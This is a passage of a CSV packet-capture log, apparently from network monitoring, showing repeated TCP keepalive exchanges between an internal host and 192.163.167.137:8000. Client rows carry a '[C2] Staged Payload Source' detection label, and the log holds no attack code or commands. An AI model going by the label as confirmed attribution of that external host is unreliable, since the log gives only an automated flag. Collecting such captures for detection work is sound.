\"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:58.946608,610,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec2d4000400643c6c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.-@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60461, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17350, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:09:59.974789,611,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c4400080063f3a0a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45252, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16186, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:59.974816,612,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec2e4000400643c5c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60462, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17349, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:10:00.974799,613,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c5400080063f390a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45253, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16185, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:00.974832,614,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec2f4000400643c4c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4./@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60463, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17348, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:10:01.990421,615,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c6400080063f380a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45254, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16184, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:01.990452,616,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec304000400643c3c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.0@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60464, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17347, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:10:03.006093,617,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c7400080063f370a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45255, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16183, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:03.006113,618,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec314000400643c2c0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.1@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60465, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17346, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 519372833))]\"\"}}]\"\n2026-07-01 09:10:03.867036,619,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=519372833 Ack=1345064463,bc24112907bbbc2411360d0c08004500003db0c8400080063f220a98980bc0a3a789fa591f401ef50021502c0e0f50182014884600001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45256, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16162, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372833, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34886, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:10:03.867073,620,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000028ec324000400643cdc0a3a7890a98980b1f40fa59502c0e0f1ef500365010003f0aeb0000,\".$.6\n..$.)....E..(.2@.@.C.....\n....@.YP,.....6P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60466, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17357, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:04.881161,621,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0c9400080063f350a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45257, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16181, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:04.881182,622,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec334000400643c0c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.3@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60467, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17344, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:05.896816,623,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ca400080063f340a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45258, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16180, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:05.896843,624,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec344000400643bfc0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.4@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60468, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17343, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:06.912435,625,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0cb400080063f330a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45259, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16179, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:06.912453,626,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec354000400643bec0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.5@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60469, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17342, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, 